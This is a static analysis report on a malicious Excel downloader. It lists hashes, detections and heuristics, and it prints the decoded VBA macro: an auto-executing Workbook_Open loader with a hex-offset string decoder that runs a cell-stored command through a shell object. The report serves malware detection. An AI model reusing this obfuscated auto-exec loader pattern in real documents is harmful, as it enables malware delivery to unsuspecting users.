Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 006b088510e1bef1…

MALICIOUS

Office (OLE)

35.5 KB Created: 2018-07-19 20:32:12 Authoring application: Microsoft Excel First seen: 2018-09-04
MD5: a6c3dadd2413a09c322269d5128173d6 SHA-1: 111a6eccdb6eb6f6ebf371a51b12c277e599bafa SHA-256: 006b088510e1bef1d35ef8e4e4045d7c740b556f4759ca81cb9e85de439b9aa4
320 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains both VBA and Excel 4.0 macros, with the VBA macros being heavily obfuscated and employing CreateObject and CallByName functions, indicative of a downloader. The presence of Workbook_Open and auto-exec loader heuristics further supports this. The ClamAV detection name 'Xls.Downloader.Olemal-6934884-0' directly suggests its functionality as a downloader.

Heuristics 8

  • ClamAV: Xls.Downloader.Olemal-6934884-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Olemal-6934884-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 228 bytes
SHA-256: 962aaf1d57f0a7207e98bd37b3a4cfa339dc6a87bd287090a5d69186204feb4a
Preview script
First 1,000 lines of the extracted script
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Top
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3315 bytes
SHA-256: efca926d97015d6db14686db24171bb8a4d0d8c307e12ad93d9b4ae2c56f0a80
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Private Function KJOZ_() As String
For i = 10 To 79:KJXTLENWKD_(aUHJXIZKDH_ & GOJZSYQXE_(54, v), 11)):Next i:For i = 22 To 71:NJZJKOSIJR_(aAAJYUV_ & BJQBQHOJLAZ_(34, 4), 11)):Next i:OAODFHNMWCO_( & vEVOUTFX_:NHTBWGR_ = aJLPEWMHGW_:For i = 10 To 79:KJXTLENWKD_(aUHJXIZKDH_ & GOJZSYQXE_(54, v), 11)):Next i:Random(12, 6)FGLFSFHYGPP_:NHTBWGR_ = aJLPEWMHGW_:For i = 10 To 79:KJXTLENWKD_(aUHJXIZKDH_ & GOJZSYQXE_(54, v), 11)):Next i:GGNVTVVEJ_(MOPOFKF_)):GGNVTVVEJ_(MOPOFKF_)):Random(DOPDPKTVOOA_):Dim LCBDEC_As String = "MMYSHSGCDJ_":Random(DOPDPKTVOOA_):Random(DOPDPKTVOOA_):For i = 22 To 71:NJZJKOSIJR_(aAAJYUV_ & BJQBQHOJLAZ_(34, 4), 11)):Next i:Random(12, 6)FGLFSFHYGPP_:
End Function
Public Function WD_(ByVal AG_ As String)
   Dim FRX_ As String: Dim SI_ As Long: For SI_ = 1 To Len(AG_) Step 2: FRX_ = FRX_ & Chr(Val("&H" & Mid(AG_, SI_, 2)) - 63): Next: WD_ = FRX_
End Function
Private Function BWGH_() As String
For i = 44 To 50:NBCQHGVVB_(aRPMJWTGHTV_ & EORCXZU_(34, 4), 11)):Next i:Dim For i = 44 To 50:NBCQHGVVB_(aRPMJWTGHTV_ & EORCXZU_(34, 4), 11)):Next i:For i = 44 To 50:NBCQHGVVB_(aRPMJWTGHTV_ & EORCXZU_(34, 4), 11)):Next i:For i = 44 To 50:NBCQHGVVB_(aRPMJWTGHTV_ & EORCXZU_(34, 4), 11)):Next i:Dim BWQZPGEJRZ_ = aGAXSGM_:CJEPRZQHV_( & vEPOVVNHSHOL_:Dim ZUGEYGRN_As String = "NMUYPCKDIQ_":BWQZPGEJRZ_ = aGAXSGM_:Dim For i = 44 To 50:NBCQHGVVB_(aRPMJWTGHTV_ & EORCXZU_(34, 4), 11)):Next i:BWQZPGEJRZ_ = aGAXSGM_:For i = 44 To 50:NBCQHGVVB_(aRPMJWTGHTV_ & EORCXZU_(34, 4), 11)):Next i:For i = 22 To 82:SKZVINQKQ_(aJBREKWHDK_ & AKSSHXHFA_(54, v), 11)):Next i:
End Function
Sub Workbook_Open()
Application.Run WD_("93A7A8B296AEB1AAA1AEAEAA6D988D8E9E")
End Sub
Private Function VNVXIJ_() As String
ZUAVAEEIJKC_( & vEZLPMOWBMDR_:For i = 39 To 98:KOMAHQPXYH_(aUIFFFAUM_ & CCHKSLNGKYM_(34, 4), 11)):Next i:Random(HADQTTVRTWV_):Random(HADQTTVRTWV_):WIPHGCHWD_(NZUPAPAH_ & EAQIIDB_(12, 6), 11)):For i = 25 To 80:AVCANLBZYQH_(aMRUUZFH_ & MKJNELZ_(54, v), 11)):Next i:Dim Dim BZXIPVX_As String = "MDXRYNXSFGZ_":UTFXBVTVOUZ_(FQLPYUC_)):ZUAVAEEIJKC_( & vEZLPMOWBMDR_:Random(12, 6)NQLTVDADJIE_:ZUAVAEEIJKC_( & vEZLPMOWBMDR_:Dim BZXIPVX_As String = "MDXRYNXSFGZ_":WIPHGCHWD_(NZUPAPAH_ & EAQIIDB_(12, 6), 11)):For i = 25 To 80:AVCANLBZYQH_(aMRUUZFH_ & MKJNELZ_(54, v), 11)):Next i:
End Function
Sub YNO_()
    CallByName CreateObject(WD_("9692A2B1A8AFB36D92A7A4ABAB")), WD_("91B4AD"), VbMethod, WD_(ThisWorkbook.Sheets("Tope").Range("G135").Value), 0, True
End Sub
Private Function CGE_() As String
Dim XWSXHIFOTB_As String = "HOEUMXKWM_":For i = 29 To 66:ILRVPUEYGH_(aMBEFXNRB_ & AFDBQWGCV_(34, 4), 11)):Next i:Random(12, 6)NAKANKD_:Random(12, 6)NAKANKD_:Dim TVINFPBDYF_ = aBOPSNM_:TVINFPBDYF_ = aBOPSNM_:Dim XWSXHIFOTB_As String = "HOEUMXKWM_":VJMUDHQE_(NCDNXGYRSI_ & OMPDAF_(12, 6), 11)):Random(12, 6)NAKANKD_:Random(12, 6)NAKANKD_:For i = 10 To 98:YEGXHKMLNV_(aASLVUHFT_ & OGEAFVDHYM_(54, v), 11)):Next i:KCNKLWVZFL_(AZKDUDIUN_)):Dim Random(12, 6)NAKANKD_:
End Function

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